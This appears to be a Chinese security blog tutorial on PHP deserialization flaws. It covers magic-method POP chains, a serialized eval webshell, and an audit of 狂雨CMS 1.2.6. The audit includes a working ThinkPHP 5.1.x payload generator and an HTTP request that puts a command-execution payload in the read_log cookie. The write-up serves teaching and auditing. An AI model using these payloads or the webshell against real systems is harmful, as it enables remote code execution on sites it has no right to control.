原创 | 浅析PHP反序列化漏洞的利用与审计

  • A+
所属分类:代码审计
原创 | 浅析PHP反序列化漏洞的利用与审计
点击上方蓝字 关注我吧
原创 | 浅析PHP反序列化漏洞的利用与审计

0x00 前言

原创 | 浅析PHP反序列化漏洞的利用与审计


反序列化漏洞其实很多人都讲过了,正巧最近在某坛子上看到篇审计讲一个典型的PHP反序列化漏洞点,那么我就重新回顾下,主要是学习思路和个人理解,如果误区请指出,笔者感谢。

原创 | 浅析PHP反序列化漏洞的利用与审计

0x01 PHP序列化与反序列化介绍

原创 | 浅析PHP反序列化漏洞的利用与审计


PHP提供了两个对象序列化和反序列化的方法,分别是serialize()unserialize()

从意义上理解,serialize()序列化的作用是产生一个可存储的值的表示。在PHP官网有关于serialize()详细的解释。

而unserialize()反序列化的作用是从已经存储的表示中创建PHP的值。unserialize()这句话可能有点抽象。

但是可以通俗的解释,原本PHP中一个定义好的类的对象被序列化为一个这种特定的字符串了,反序列化就可以把他还原为原本的类的对象。(PS:面向对象中类与对象的概念- -)


这里我先举一个简单的例子,不从开发的角度去分析这个反序列化和序列化,就拿打一个反序列化利用点来说。假设他可能有一条完整的POP利用链。

那么我们可能想通过这个反序列化利用点去执行命令,那么我们就可以构造一个恶意的类,让他执行我们特定的一段代码。进而实现利用。

这里我直接贴写的一个小demo,demo用到了魔术方法(后续继续介绍,前面先聊利用)。
反序列化利用点简单代码:

rce.php
<?php class demo{ var $info = "demo"; function __destruct(){ eval($this->info); } } $a = $_GET['rce']; $b = unserialize($a);?>


exp代码:

exp.php
<?php class demo{ var $info = "phpinfo();"; function __destruct(){ eval($this->info); } } $a = new demo(); $b = serialize($a); print $b;?>


可以看到,exp这里是生成一个序列化的字符串,即将执行我们构造的恶意代码phpinfo()。
O:4:"demo":1:{s:4:"info";s:10:"phpinfo();";}

可以对比下原有的序列化字符串。
O:4:"demo":1:{s:4:"info";s:4:"demo";}

在序列化的字符串中,改变的位置只有两处,一处是长度,另一处可以存放我们需要被eval函数执行的代码。

再延伸一下,如果我们可以控制这个特定的位置需要被执行的代码,也就可以实现通过反序列化来执行命令的一句话webshell,也就是前两年有段时间比较流行的马。

简单的实现起来可能就是这样的,可惜D盾对这一系列的马有检测特征。其实这个应该有更多的变形才对,不知道是不是大佬都不公开哈哈哈。


反序列化一句话简单代码:

<?php    class demo{        var $info = "demo";        function __destruct(){ //__destruct魔术方法            eval($this->info); //eval函数执行命令        }    }        $a = $_POST['rce']; //webshell连接密码    $len = strlen($a) + 1; //长度    $str = "O:4:"demo":1:{s:4:"info";s:".$len.":"".$a.";";}"; //demo类的对象序列化后的字符串    $b = unserialize($str); //反序列化过程触发魔术方法?>

原创 | 浅析PHP反序列化漏洞的利用与审计

0x02 POP

原创 | 浅析PHP反序列化漏洞的利用与审计


魔术方法:

可以看到,上述的例子中关键函数都用到了PHP中的魔术方法。命名是通常以符号**__**开头,这些函数在一些场景下会被自动调用,在使用unserialize()反序列化类的对象的时候同样会触发魔术方法,如果其中有一些关键的函数比如eval、system等诸如此类的函数,在这个过程中,如果我们可以控制unserialize()入口,就像上一个例子一样进而控制对象的参数值,那么可能就能利用这个反序列化点,这些综合到一起也就形成了利用链。

利用PHP中的反序列化,主要要有利用链。其实魔术方法这种利用链,主要多是在CTF中常出现的。


构造POP链:

利用PHP反序列化的必要条件是:
  • unserialize()参数值可控(还可以是phar协议,此文中暂不分析)
  • 调用危险函数路径可通。
什么是路径可通呢?
这个在个人理解的时候其实更多的是从怎么去利用的角度去看的,比如CTF,看到这个题知道肯定有漏洞,那么如果能够通过一系列方法找到这个点,那么就路径可通。

这里翻一篇文章找到了lemon师傅的一个demo:
<?phpclass lemon {    protected $ClassObj;
function __construct() { $this->ClassObj = new normal(); }
function __destruct() { $this->ClassObj->action(); }}
class normal { function action() { echo "hello"; }}
class evil { private $data; function action() { eval($this->data); }}
unserialize($_GET['d']);?>

可以看到lemon类中,有两个魔术方法,分别进行了两个
操作,__construct()实例化了一个normal类的对象
__destruct()执行了action()方法。但是可以看到
evil类中,同样有action()方法,并且有危险函数
eval()。

再看unserialize()方法,我们可以通过get传参进而
控制反序列化的参数输出。那么,就可以构造序列化的
exp字符串,把实例化的normal类替换为evil类。

action()方法在evil类和normal类中同名,在执行
__destruct()方法时,名为ClassObj的对象调用的方
法就变为了evil类中的action()方法。这样我们就完成
了利用,贴下exp的代码,我们来试试效果。
<?phpclass lemon {    protected $ClassObj;    function __construct() {        $this->ClassObj = new evil();    }}class evil {    private $data = "phpinfo();";
}echo urlencode(serialize(new lemon()));?>


O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D


成功。

原创 | 浅析PHP反序列化漏洞的利用与审计


TP框架中的POP链:

然后就是说审计这一块,其实单纯的找一个反序列化的利
用点,我们或许只需要全局搜索unserialize()方法,
但是像如果想准确的利用反序列化,我们就需要找到POP
链,在TP框架中,多个版本都有几条POP利用链。

这里例举5.1.X,看到别人的文章分析至少有两个POP链,
一个实现任意文件删除,一个可以执行命令。

具体参考文章:
thinkphp5.1.x~5.2.x版本反序列化链挖掘分析
https://xz.aliyun.com/t/6619

Thinkphp 反序列化利用链深入分析
https://paper.seebug.org/1040/

在审计同框架CMS时,比如TP二开的CMS,如果作者没有
把这里堵上,那么只要有可控的unserialize()方法,
就可以直接利用。

原创 | 浅析PHP反序列化漏洞的利用与审计

0x03 审计

原创 | 浅析PHP反序列化漏洞的利用与审计


狂雨CMS

这款CMS最近在某坛子看到别人审了,TP5.1.X的二开
CMS,正好有个很典型的反序列化利用点,这里就拿来验
证审计思路,使用的版本是1.2.6。

搭建环境:
PHPSTUDY
nginx1.15.11
mysql5.5.29
php7.3.4
使用nginx对这款cms要配置伪静态规则,不然安装的过
程就可能出现问题:

location / {  if (!-e $request_filename){    rewrite  ^(.*)$  /index.php?s=$1  last;   break;  }}

代码分析:

我的审计思路一般是黑盒加白盒。这样的话可以通过实际
操作了解一些cms的功能点。

这里我们直接去审计反序列化利用点,通常情况下,我们
可以直接全局搜索unserialize()方法。

application目录下看到了多处反序列化的点,可以
一个一个的看一下。

原创 | 浅析PHP反序列化漏洞的利用与审计


从文件的自面意思上看,这个文件可能包含是用户看用户
最近读的书的功能模块,我们看来第一处。


applicationusermodelRecentread.php
第23行

直接从cookie中获取read_log的值,并反序列化。我
们只需要构造一个read_logcookie里就可以直接
利用了。

原创 | 浅析PHP反序列化漏洞的利用与审计


再看另外几处,同样是read_log参数的反序列化。


原创 | 浅析PHP反序列化漏洞的利用与审计


那么接下来就是利用,从位置上来看都是user的model。
我们可以去跟一下,看哪里用到了Recentread,在
controller
里找到了,但是看到继承了UserBase
那么肯定有权限控制,方法不能直接被调用。

applicationusercontrollerRecentread.php

原创 | 浅析PHP反序列化漏洞的利用与审计


applicationcommoncontrollerUserBase.php
看到这里可以看到权限控制,必须登录后才能利用了。
如果能绕过登录验证,那么这个洞也可以直接利用。

原创 | 浅析PHP反序列化漏洞的利用与审计


这里先测试注册普通用户,尝试打一下TP5.1.X的反序列
化poc。在注册的过程中发现他的cookie貌似都有前缀。

Cookie: lf___forward__=%2F; lf_user_auth=think%3A%7B%22uid%22%3A%221%22%2C%22username%22%3A%22test33%22%7D; lf_user_auth_sign=73f108f400508594ce52afaeabe4c7ee587082ab


跟一下看看是不是加上了前缀,在
configcookie.php中看到了cookie前缀。
等会儿利用的时候加上。

原创 | 浅析PHP反序列化漏洞的利用与审计


漏洞利用:

这里注册了一个用户名为test33的普通用户。
我们直接去访问刚才看到的Recentread功能模块,
cookie中加上lf_read_log,参数值为我们序
列化的利用poc。

GET /user/recentread/index.html HTTP/1.1Host: www.keefe.isPragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://www.keefe.is/user/comment/index.htmlAccept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6,fr;q=0.5Cookie: lf___forward__=%2F; lf_user_auth=think%3A%7B%22uid%22%3A%221%22%2C%22username%22%3A%22test33%22%7D; lf_user_auth_sign=73f108f400508594ce52afaeabe4c7ee587082ab;lf_read_log=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22hello%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22hello%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D; Connection: close


这里贴下网上找的tp5.1.x的poc,这个是命令执行,

还有一个删除文件的链:

<?phpnamespace thinkprocesspipes {    class Windows    {        private $files;        public function __construct($files){            $this->files = [$files];        }    }}
namespace thinkmodelconcern { trait Conversion { }
trait Attribute { private $data; private $withAttr = ["hello" => "system"];
public function get(){ $this->data = ["hello" => "whoami"]; } }}
namespace think { abstract class Model { use modelconcernAttribute; use modelconcernConversion; }}
namespace thinkmodel{ use thinkModel; class Pivot extends Model{ public function __construct(){ $this->get(); } }}
namespace {
$conver = new thinkmodelPivot(); $payload = new thinkprocesspipesWindows($conver); echo urlencode(serialize($payload));}?>


实现效果:

原创 | 浅析PHP反序列化漏洞的利用与审计


原创 | 浅析PHP反序列化漏洞的利用与审计

0x04 总结

原创 | 浅析PHP反序列化漏洞的利用与审计


对于PHP中的反序列化漏洞,其实还有一些场景没有提及,
比如phar这些,在实际利用场景下我们往往只需要确定
一个反序列化的利用点,就可以达到目的。而对于审计
而言,需要同时有利用链、可控的反序列化利用点,总
的来说还是很有研究价值的,大佬勿喷,思路仅供参考。


原创 | 浅析PHP反序列化漏洞的利用与审计

0x05 参考链接

原创 | 浅析PHP反序列化漏洞的利用与审计


thinkphp5.1.x~5.2.x版本反序列化链挖掘分析
https://xz.aliyun.com/t/6619

Thinkphp 反序列化利用链深入分析
https://paper.seebug.org/1040/

php 反序列化POP链的构造与理解
https://blog.szfszf.top/tech/php

狂雨CMS前台RCE

https://www.t00ls.net/thread-59002-1-1.html


原创 | 浅析PHP反序列化漏洞的利用与审计
原创 | 浅析PHP反序列化漏洞的利用与审计
原创 | 浅析PHP反序列化漏洞的利用与审计

原创 | 浅析PHP反序列化漏洞的利用与审计
你要的分享、在看与点赞都在这儿~

本文始发于微信公众号(SecIN技术平台):原创 | 浅析PHP反序列化漏洞的利用与审计

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: